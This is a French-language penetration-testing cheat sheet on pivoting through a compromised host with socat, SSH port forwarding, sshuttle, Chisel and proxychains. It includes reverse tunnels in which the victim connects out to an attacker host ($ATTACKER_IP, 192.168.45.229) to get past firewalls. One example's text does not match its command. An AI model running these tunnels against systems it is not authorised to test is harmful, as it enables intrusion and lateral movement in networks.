Pivot

SOCAT

SOCAT est un couteau suisse réseau permettant notamment de faire du port forwarding. Par exemple, la commande ci-dessous permet de créer une socket en écoute sur le port 2345 de la machine compromise et de rediriger le flux vers le port 22 (ssh) de la machine 10.4.184.215.

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.184.215:22

SSH

SSH étant disponible nativement sur Linux, Mac et Windows, il peut être considéré comme un des principaux outils à connaitre lorsque l’on veut effectuer un pivot.

Local port forwarding

SSH peut faire l’équivalent de SOCAT. Par exemple la commande suivante permet d’ouvrir le port 4455 afin de rediriger le flux vers le port 445 de la machine 172.16.50.217 au travers de la connexion SSH de la machine 10.4.50.215.

ssh -N -L 0.0.0.0:4455:172.16.184.217:4242 database_admin@10.4.184.215

Local dynamic port forwarding

Le Dynamic port forwarding permet de faire du port forwarding dynamique, c’est à dire de rediriger vers plusieurs ports via un pivot. Cela se passe notamment au travers d’un proxy socks et l’utilisation de la commande proxychains.

La commande suivante permet de créer un proxy sur le port 9999 de l’attaquant, qui redirige l’ensemble du flux au travers de la connexion SS avec 10.4.50.215.

ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

Remote port forwarding

Le remote port forwarding est comparable à un reverse shell, c’est à dire que c’est la machine attaquée qui se connecte à l’attaquant. L’objectif de ce type d’usage est de contourner les éventuels filtrage d’un pare-feu applicatif ou matériel.

ssh -N -R 127.0.0.1:2345:10.4.184.215:5432 y0no@192.168.45.229

La commande précédente permet de forwarder le port 2345 de la machine de l’attaquant au port 5432 de l’IP 10.4.184.215 via le tunnel SSH de la machine attaquée.

Remote dynamic port forwarding

De la même manière que pour un le local port forwarding, il est possible de faire du dynamic port forwarding en remote. Cela s’effectue à l’aide de la commande suivante :

ssh -N -R 9998 y0no@192.168.45.229

Dans le cas ci-dessus, la machine attaquée vient se connecter à l’attaquant via SSH et ouvre un proxy socks sur le port 9998 de ce dernier.

Sshuttle

Des outils comme sshuttle permettent de simplifier le tunneling SSH. Par exemple il est possible de créer des routes vers les réseaux 10.5.184.0/24 et 172.16.184.0/24 à l’aide de la commande suivante :

sshuttle -r database_admin@192.168.184.63:2222 10.5.184.0/24 172.16.184.0/24

Chisel

Côté attaquant :

chisel server -p 8080 --reverse

Côté victime :

chisel client $ATTACKER_IP:8080 R:socks

Proxychains

Proxychains permet de transférer les flux d’une commande au travers d’un pivot SSH ou Chisel. La syntaxe est la suivante:

proxychains -q $CMD
Warning

Dans le cas d’un pivot SSH, la commande proxychains ne suffit pas. Il est nécessaire de passer par la commande suivante:

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215
Warning

Lorsque l’on exécute un NMAP au travers de proxychains, quelques ajustements doivent être fait:

  • L’ICMP ne transitant pas par proxychains, l’option -Pn doit être mise
  • Les scans de type SYN ne fonctionnent pas, forcer l’option -sT (scan CONNECT) est donc interessantes
proxychains nmap -sT -Pn -v www.example.com